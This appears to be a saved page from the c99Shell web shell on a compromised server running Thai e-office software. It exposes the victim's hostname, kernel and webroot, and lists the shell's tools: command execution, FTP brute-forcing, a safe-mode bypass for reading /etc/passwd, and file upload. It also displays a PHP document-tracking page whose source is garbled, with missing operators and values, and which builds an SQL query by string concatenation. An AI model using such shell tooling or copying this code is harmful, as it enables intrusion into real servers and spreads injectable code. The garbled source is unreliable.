!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showDetailReceiveDocSRshow.php (24.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocattatches.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsProposeType.php";
include_once 
"funct.php";
include_once 
"../class/clsDocSendtoPsTmp.php";
include_once 
"../class/clsannounceDocType.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsDocWSign.php";
include_once 
"../class/clsSendReceive.php";
include_once 
"../class/clsCollegeDetail.php";
include_once 
"getPrefix.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oDP4 = new Department($oC);
$oDP5 = new Department($oC);
$oPS = new person($oC);
$oPS2 = new person($oC);
$oPS3 = new person($oC);
$oPS4 = new person($oC);
$oPS5 = new person($oC);
$oPS6 = new person($oC);
$oUG = new umgroup($oCu);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlc5 = new DocLineConfig($oC);
$oDlc6 = new DocLineConfig($oC);
$oDlc7 = new DocLineConfig($oC);
$oDlc8 = new DocLineConfig($oC);
$oDlc9 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oDlp2= new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDoc4 = new Documents($oC);
$oDatt = new Docattatches($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oRs6 = new DocReceiveSend($oC);
$oRs7 = new DocReceiveSend($oC);
$oRs8 = new DocReceiveSend($oC);
$oRs11 = new DocReceiveSend($oC);
$oPt = new ProposeType($oC);
$oStmp=new DocSendToPsTmp($oC);
$oAn=new announceDocType($oC);
$oDws = new docwsign($oC);
$oTsr = new sendreceive($oC);
$oCd = new collegedetail($oC);

$MaxDocGroup=$oDP->SearchMaxDocGroup();

doCheckAll();
if(
$_SESSION['DLCID'] && $_SESSION['one_position']!="1"){ include_once "selectposition.php";

    
$oDlc->SearchByKey($_SESSION['DLCID']); $oDlc->GetRecord(); 
    if(
$_SESSION['DLCIDSECOND']=="Y"){
        
$oDlc9->SearchByKey($_SESSION['DLCIDSECONDID']); $oDlc9->GetRecord(); 
        
$mypersonId=$oDlc9->personId;
    }else{
        
$mypersonId=$oDlc->personId;
    }    
    
$a=$oDlc->DlcActive;
    
$oTsr->SearchByKey($tsr_id);
    
$oTsr->GetRecord();

?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?=$GLOBALS["COLOR_FONT_3"]; ?>"><a href="sendReceiveDoc_c.php">การติดตามหนังสือรับอิเล็กทรอนิกส์</a>
      <img src="../picture/ico3.gif" width="10" border="0" align="absmiddle">รายละเอียดข้อมูลหนังสือรับอิเล็กทรอนิกส์</font>
    </font></legend>
        <form name="ff"  METHOD="POST" action="processSendDoc.php">
        <table align="center" width="93%" >
        <tr>
          <td width="68%" height="25"><img src="../picture/official_letter.gif"   border="0" > 
            <font color="<?=$GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong>การรับหนังสืออิเล็กทรอนิกส์</strong></font> 
           </td>
          </tr>
        <tr>
          <td  colspan="3"><hr color="#000099"></hr>
          </td>
        </tr>
      </table>
        <table width="93%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>" style="border-collapse:collapse"><tr><td>
      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"   background="../picture/table_header_bg2.gif">
        <tr>
          <td width="68%" height="25">
            <font color="<?=$GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> 
            &nbsp;รายละเอียดของหนังสือ: </strong></font> 
            <font color="<?=$GLOBALS["COLOR_FONT_8"]; ?>" size="2"><strong>รับ - ภายนอก</strong></font>
            &nbsp; <font color="<?=$GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> 
            &nbsp;ชนิดหนังสือ: </strong></font>
            <font color="<?=$GLOBALS["COLOR_FONT_8"]; ?>" size="2"><strong>
              <? $oDt->SearchByKey($oTsr->tsr_DtID);
                     
$oDt->GetRecord();
                     echo 
$oDt->DtName;
            
?>
            </strong></font>
                     </td>
</tr>
      </table>
      <table width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#DADADA" >
      <tr><td>&nbsp;</td></tr>
     <tr height=22><td width="25%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><?=ShowNameDocNo($oTsr->tsr_DtID); ?></strong></td>
             <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oTsr->tsr_DocNo!=""){  echo $oTsr->tsr_DocNo;   } ?></td></tr>
     <tr height=22><td width="25%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><?=ShowNameDate2($oTsr->tsr_DtID); ?></strong></td>
             <td width="2%" align="center" ><strong>:</strong></td><td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">
            <?   if($oTsr->tsr_DocDate!="" && $oTsr->tsr_DocDate!="0000-00-00"){ 
                                        echo 
"&nbsp;".abbreDate2($oTsr->tsr_DocDate,'/');
                    } 
?>
            </td></tr>
     <? //if($oDoc->DtID!=13){ ?>
      <tr height=22><td width="25%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>" >&nbsp;&nbsp;<strong><?=ShowNameSubject($oTsr->tsr_DtID); ?></strong></td>
            <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<?  if($oTsr->tsr_DocSubject!=""){ echo  $oTsr->tsr_DocSubject;  } ?></td>
    </tr>
    <? //} ?>
    <? if($oTsr->tsr_DtID==|| $oTsr->tsr_DtID==|| $oTsr->tsr_DtID==||  $oTsr->tsr_DtID==14 || $oTsr->tsr_DtID==13){?>  
      <tr height=22><td width="25%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><?=ShowNameFrom($oTsr->tsr_DtID); ?></strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oTsr->tsr_DocFrom!=""){ echo  $oTsr->tsr_DocFrom;  } ?></td>
          </tr>
    <?php ?>
    <?php if($oTsr->tsr_DtID==|| $oTsr->tsr_DtID==2  || $oTsr->tsr_DtID==14 || $oTsr->tsr_DtID==|| $oTsr->tsr_DtID==15){?>
       <tr height=22><td width="25%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? if($oTsr->tsr_DtID==|| $oTsr->tsr_DtID==15){   echo "เรียน"; }else{  echo "ถึง"; } ?></strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<?  if($oTsr->tsr_DocTo!=""){   echo $oTsr->tsr_DocTo; }?></td>        
          </tr>
    <?php }?>
      <tr height=22><td width="25%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>แฟ้มหนังสือ</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
                  <td width="73%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">
                  <?php //if($oTsr->tsr_status=='r3' || $oTsr->tsr_status=='r4'){  
                          
$count=strlen($oTsr->tsr_statusDocAtt);?>
                  <font size="2" color="<?=$GLOBALS["COLOR_FONT_2"]; ?>"> 
                    &nbsp;<img src="../picture/attach_ico.gif"   border="0" >&nbsp;แฟ้มที่เกี่ยวข้อง&nbsp;<?=$count;?>&nbsp;รายการ
                    <?=downloadProgramRead($oSys->downloadPpdf); ?></font><br> 
                    <?php     
                                $tsr_docname
=$oTsr->tsr_docname;
                                
$tsr_statusDocAtt=$oTsr->tsr_statusDocAtt
                                
$tsr_doc_url=$oTsr->tsr_doc_url
                                
$i=0;
                                
$nodownload=0;    
                                while(
$tsr_docname!=''){ $i++;
                                    list(
$downloadfilename,$tsr_docname)=preg_split('[,]',$tsr_docname,2);
                                    list(
$downloadurl,$tsr_doc_url)=preg_split('[,]',$tsr_doc_url,2);                    
                                                    
$count=strlen($tsr_statusDocAtt);
                                                    if(
$count!=$i){
                                                        
$statusDoc substr($tsr_statusDocAtt,$i-1,-($count-1-($i-1)));
                                                    }else{
                                                        
$statusDoc substr($tsr_statusDocAtt,$count-1);
                                                    }                                                                        
                                    if(
$statusDoc=='Y'){
                                        
$file_name basename($downloadurl); 
                                        list(
$filename_,$filetype_)=preg_split("/\./",$file_name);
                                        
$pathfile=$GLOBALS['path_download_documentsTmp'].$filename_.'-'.$oTsr->tsr_fr_node.'.'.$filetype_?>
                    &nbsp;<a href="<?=$pathfile ?>" target="_blank"><img src="../picture/allregistered_ico.gif" title="เปิดดูแฟ้มหนังสือ"  border="0"  style="cursor:pointer;" ></a>&nbsp; 
                    <?=$downloadfilename."  (ดาวน์โหลดแล้ว)<br>";  
                                    }else{
                                        
//if($oTsr->tsr_status!='r4'){
                                        
?>&nbsp; <img src="../picture/lock.gif" title="ยังไม่ดาวน์โหลด"  border="0">&nbsp; <?=$downloadfilename?><strong><font color="#FF0000"> (ยังไม่ดาวน์โหลด)</font></strong> <br>
                    <?php //                }
                                            
$nodownload++;
                                    }
                                }  
                                
//echo $oTsr->tsr_status." ===> ";
                                
if($oTsr->tsr_status!='r1' && $oTsr->tsr_status!='r4'){
                                            
?>
                    <br><div align="right"><a href="downloadDoc.php?page_id=<?=$page_id;?>&tsr_id=<?=$tsr_id;?>&selectcID=<?=$selectcID?>&selectcID2=<?=$selectcID2?>"><img src="../picture/resend.gif" title="ดาวน์โหลดเอกสาร"  border=0></a> ดาวน์โหลดเอกสาร&nbsp; &nbsp; &nbsp;
                        <br><a href="unDownloadDoc.php?page_id=<?=$page_id;?>&tsr_id=<?=$tsr_id;?>&selectcID=<?=$selectcID?>&selectcID2=<?=$selectcID2?>"><img src="../picture/cancel.gif" title="ยกเลิกดาวน์โหลดเอกสาร"  border=0></a> ยกเลิกดาวน์โหลดเอกสาร&nbsp; &nbsp; &nbsp; </div> 
                        
                            
                                            <?php
                                
}
                                            
/****************แก้ไขโหลดหนังสือโดยตรง 9-3-66 *****************/
                                            
$conn=mysqli_connect($GLOBALS['DBHOST'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE'], $GLOBALS['DBNAME_EOFFICE']);
                                    
// Check connection
                                    
if (!$conn) {
                                    echo (
"Connection failed: " mysqli_connect_error());
                                    }
                                    
$sql "SELECT tsr_doc_url,tsr_docname FROM `sendreceive` WHERE tsr_id='".$tsr_id."' ";
                                    
$result mysqli_query($conn$sql);
                                    while(
$row mysqli_fetch_assoc($result)){
                                    
$show=explode(",",$row["tsr_doc_url"]);                            
                                    }
                                    echo 
"</br><font color=\"#FF0000\">กรณีดาวน์โหลดหนังสือไม่ได้ </font></br>";
                                    foreach (
$show as $value) {                                 
                                    if(
$value!=""){
                                    
?>
                                    <a href="<?=$value?>" target="_blank" ><<ดาวน์โหลด>></a><br>
                                    <?  
                                    }
                                        
/********************************************/
                                
                                
if(($oTsr->tsr_status=='r3' || $oTsr->tsr_status=='r4') && $oTsr->tsr_receive==""){
                                            
?>
                    <br><div align="right"><a href="downloadDocAgain.php?page_id=<?=$page_id;?>&tsr_id=<?=$tsr_id;?>&selectcID=<?=$selectcID?>&selectcID2=<?=$selectcID2?>"><img src="../picture/resend3.gif" title="ดาวน์โหลดเอกสารซ้ำ"  border=0></a> ดาวน์โหลดเอกสารซ้ำอีกครั้ง (กรณีเอกสารไม่สมบูรณ์)</div> 
                            
                                            <?php
                                
}
                      
// }else{  echo "&nbsp;(ยังไม่ดาวน์โหลดแฟ้ม)"; 
                       // }
?>    
                      <?php $DocID=$oDoc->SearchDocIDDoc_tsr_id($tsr_id);    ?>
                       <?php include("uploadDocSended.php"); echo manageDocAtt2($DocID);?>
                  </td>                        
    </tr>


    <tr height=22><td width="25%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>อ้างถึง</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oTsr->tsr_DocRef!=""){   echo $oTsr->tsr_DocRef; } ?></td>
    </tr>    
    <tr height=22><td width="25%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>สิ่งที่ส่งมาด้วย</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oTsr->tsr_DocOther!=""){   echo $oTsr->tsr_DocOther; }?></td>
    </tr>
    <? if($oTsr->tsr_DtID==|| $oTsr->tsr_DtID==|| $oTsr->tsr_DtID==|| $oTsr->tsr_DtID==14){?> 
    <tr height=22><td width="25%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ชั้นความเร็ว</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">
            <? $oDsl->SearchByKey($oTsr->tsr_DslID); $oDsl->GetRecord();  echo "&nbsp;".$oDsl->DslName;?>
             </td></tr>
    <tr height=22><td width="25%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ชั้นความลับ</strong></td>
                   <td width="2%" align="center" ><strong>:</strong></td><td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">
                <? $oDcl->SearchByKey($oTsr->tsr_DclID); $oDcl->GetRecord();  echo "&nbsp;".$oDcl->DclName;?></td>
    </tr>
    <? ?>
                <? if($oTsr->tsr_DtID==|| $oTsr->tsr_DtID==|| $oTsr->tsr_DtID==14){?>
                <tr height=22>
                  <td width="24%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>หน่วยงานเจ้าของเรื่อง</strong></td>
                  <td width="1%" align="center"><strong>:</strong></td>
                  <td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oTsr->tsr_DocDeptOwner!=""){ echo  $oTsr->tsr_DocDeptOwner;  } ?>
                  </td>
                </tr>
                <tr height=22>
                  <td width="24%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>โทรศัพท์เจ้าของเรื่อง</strong></td>
                  <td width="1%" align="center"><strong>:</strong></td>
                  <td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oTsr->tsr_DocTelOwner!=""){ echo  $oTsr->tsr_DocTelOwner;  } ?>
                  </td>
                </tr>
                <tr height=22>
                  <td width="24%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>โทรสารเจ้าของเรื่อง</strong></td>
                  <td width="1%" align="center"><strong>:</strong></td>
                  <td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oTsr->tsr_DocFaxOwner!=""){ echo  $oTsr->tsr_DocFaxOwner;  } ?>
                  </td>
                </tr>
                <tr height=22>
                  <td width="24%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>สำเนาส่ง</strong></td>
                  <td width="1%" align="center"><strong>:</strong></td>
                  <td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oTsr->tsr_DocCopySend!=""){ echo  $oTsr->tsr_DocCopySend;  } ?>
                  </td>
                </tr>
                <tr height=22>
                  <td width="24%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>การติดต่อทางอิเล็กทรอนิกส์</strong></td>
                  <td width="1%" align="center"><strong>:</strong></td>
                  <td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oTsr->tsr_DocContactE!=""){ echo  $oTsr->tsr_DocContactE;  } ?>
                  </td>
                </tr>
                <? ?>    
    <tr height=22><td width="25%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>หมายเหตุ</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
                  <td bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>"> 
                    <? if($oTsr->tsr_DocShortDesc!=""){ echo "&nbsp;".$oTsr->tsr_DocShortDesc;  }  ?>
                  </td>
                </tr>
                    <? if(($oTsr->tsr_DtID==|| $oTsr->tsr_DtID==|| $oTsr->tsr_DtID==14) && $oTsr->tsr_DocSendReal=="Y"){?>  
                <tr height=22>
                  <td width="24%">&nbsp;</td>
                  <td width="1%" align="center">&nbsp;</td>
                  <td > <input name="" type="checkbox" value="" checked disabled>
                    ส่งหนังสือตัวจริงตามไปด้วย </td>
                </tr>
                <? ?>            
    <tr><td>&nbsp;</td></tr>

      </table>
      </td></tr></table>
      <? 
                  
//------------------Sign------------------------------------------------------------------?>
    <br>
<!-- ===== Chain Create 2015/04/07 ========================== -->
<!-- //===== เส้นทางหนังสือ ===================================== -->
<?php 
    
//echo "tsr_id => ".$tsr_id;
    
if($DocID){ ?>
    <table width="93%" border="0" align="center" cellpadding="0" cellspacing="0">
    <?php $searchDoc $DocID;?>
      <tr><td align="right"><a onClick = "showline('<?=$searchDoc;?>')" style="cursor:pointer;"><img src="../picture/button_showline.jpg"   border="0" style="cursor:pointer;"></a>
      &nbsp;<a onClick = "showline2('<?=$searchDoc;?>')" style="cursor:pointer;"><img src="../picture/sign_tc.jpg"   border="0" style="cursor:pointer;"></a>&nbsp;
      </td></tr>
    </table>
<?php }else{
//echo "tsr_DocNo => ".$oTsr->tsr_DocNo; 
    
$searchDoc $oDoc2->searchDocIDByDocNo($oTsr->tsr_DocNo);
        if(
$searchDoc){ ?>
        <table width="93%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr><td align="right"><a onClick = "showline('<?=$searchDoc;?>')" style="cursor:pointer;"><img src="../picture/button_showline.jpg"   border="0" style="cursor:pointer;"></a>
          &nbsp;<a onClick = "showline2('<?=$searchDoc;?>')" style="cursor:pointer;"><img src="../picture/sign_tc.jpg"   border="0" style="cursor:pointer;"></a>&nbsp;
          </td></tr>
        </table>
<?php     }
      } 
?>
<!-- ========================================================== -->
      <table width="93%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>" style="border-collapse:collapse"><tr><td >
      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"   background="../picture/table_header_bg2.gif">
        <tr>
          <td width="68%" height="25">
            <font color="<?=$GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> 
            &nbsp;รายละเอียดผู้ส่งหนังสืออิเล็กทรอนิกส์</strong></font> 
            </td>
        </tr>
      </table>
              <table width="97%" height="100%"border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" >

                <tr align="center"> 
                  <td width="45%" align="center" valign="top">
                  <table width="100%">
                 <tr height=22 > 
                    <td width="31%"  bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ลักษณะหนังสือ</strong></td>
                    <td width="1%"  align="center" ><strong>:</strong></td>
                    <td width="68%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>" align="left">&nbsp;&nbsp;
                            <? $oPt->SearchByKey($oTsr->tsr_PtID);
                                    
$oPt->GetRecord();
                                    echo 
$oPt->PtName;
                            
?>
                    </td>
                  </tr>
                    <tr height=50> 
                <td width="31%"  bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ผู้ส่งหนังสือ</strong></td>
                <td width="1%"  align="center"><strong>:</strong></td>
                <td width="68%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>" align="center"> 
                  <? $oCd->SearchByKey($oTsr->tsr_fr_node); $oCd->GetRecord();   ?>
                  <?="&nbsp;(".$oCd->collegeAbbr.")<br>"
                  
?> 
                  <? 
                                
list($DocD,$DocT) = preg_split('[_]',$oTsr->tsr_fr_node_date);
                               echo 
abbreDate2($DocD,'/')."&nbsp;".a2th($DocT)."&nbsp;"
                    
?>
                </td>
              </tr>
              <? if($oTsr->tsr_DrsDocDueDate!='0000-00-00'){  ?>
                 <tr height=22 > 
                    <td width="31%"  bgcolor="<?=$GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>กำหนดระยะเวลาดำเนินการ</strong></td>
                    <td width="1%"  align="center" ><strong>:</strong></td>
                    <td width="68%" bgcolor="<?=$GLOBALS["COLOR_BG_TD_16"]; ?>" align="left">&nbsp;&nbsp;
                            ภายในวันที่ &nbsp;<?=abbreDate2($oTsr->tsr_DrsDocDueDate,'/');?>
                    </td>
                  </tr>              
              <? ?>
                  </table>
                  </td>
                  <td width="45%"  align="center"  valign="top">&nbsp;</td>
                </tr>
                <tr>
                  <td height="44" colspan="2" align="center"> 
        <br>
                    <input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = 'sendReceiveDoc_c.php?page_id=<?=$page_id;?>'">
                    <input type="hidden" name="selectcID" id="selectcID"   value="<?=$selectcID?>">                 
                </td></tr>
              </table>
      </td></tr></table>
      </form>  
</fieldset>  <table width="95%" border="0" align="center">
        <tr> 
          <td width="76" align="left"><font color="<?=$GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="618" align="left"><img src="../picture/allregistered_ico.gif"   border="0" > 
            <font color="<?=$GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อเปิดดูแฟ้มหนังสือ   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img src="../picture/lock.gif"   border="0" > เอกสารที่ยังไม่ได้ดาวน์โหลด</font></td>
        </tr>
            <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left"><img src="../picture/resend.gif"   border="0" > 
            <font color="<?=$GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อดาวน์โหลดเอกสารที่ยังดาวน์โหลดไม่สำเร็จ </font></td>
        </tr>
            <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left"><img src="../picture/resend3.gif" title="ดาวน์โหลดเอกสารซ้ำ"  border=0> 
            <font color="<?=$GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อดาวน์โหลดเอกสารที่ซ้ำ กรณีเอกสารไม่สมบูรณ์</font></td>
        </tr>        
        <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left"><img src="../picture/cancel.gif"   border="0" > 
            <font color="<?=$GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อยกเลิกดาวน์โหลดเอกสารที่ยังดาวน์โหลดไม่สำเร็จ</font></td>
        </tr>
        </table>

</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<script language="javascript">
function checkFormat(p,q){
        if(p==1){
            window.alert("ไม่สามารถส่งต่อได้ เนื่องจากผู้ที่ส่งต่อนั้น\nไม่มีสิทธิ์ ในการส่งถึงผู้รับผิดชอบ\n กรุณาติดต่อผู้รับผิดชอบระบบ");
            return false ;
        }else if(q==1){
            window.alert("ไม่สามารถส่งต่อได้ \nเนื่องจากไม่มีผู้รับผิดชอบ\n กรุณาติดต่อผู้รับผิดชอบระบบ");
            return false ;
        }else{
            if(document.ff.PtID.value==0){
                alert("กรุณาเลือกลักษณะหนังสือ");
                document.ff.PtID.focus();
                return false ;
            }else{
                var agree=confirm("คุณต้องการส่งหนังสือแน่นอนใช่หรือไม่ ?");
                if (agree){
                    document.ff.method.value="addsend";
                    return true;
                }else{
                    return false ;
                }
            }
        }
}
function searchPs(){
        document.ff.method.value="addsend2";
        return true;
}
function getPs(){
        document.ff.method.value="addPs";
        return true;
}
function deletePs(j){
        var agree=confirm("คุณต้องการลบรายชื่อที่จะส่งด่วนแน่นอนใช่หรือไม่ ?");
        if (agree){
            document.ff.method.value="deletePs";
            document.ff.deletePstmp.value = j;
            document.ff.submit();
            return true;
        }else{
            return false ;
        }
}
function SendDocNew(p,q,r,docid,drsid,x){
        var agree=confirm("คุณต้องการส่งเพิ่มเติมแน่นอนใช่หรือไม่ ?");
        if (agree){  
            if(x!=0){  fnlink="showSendDocNewSR.php";  }else{ fnlink="showSendDocNew.php"; }
            window.location.href =fnlink+"?flagshow="+p+"&monthe="+q+"&searchYear="+r+"&DocID="+docid+"&DrsID="+drsid+"&addsendps=1";
        }else{
            return false ;
        }
}
 function showline(p){ 
             FileName = "showlinedocTable.php?searchDoc="+p;
            var w=900;  
            var h=500;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
 function showline2(p){ 
             FileName = "showlinedocTable2.php?searchDoc="+p;
            var w=900;  
            var h=500;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0174 ]--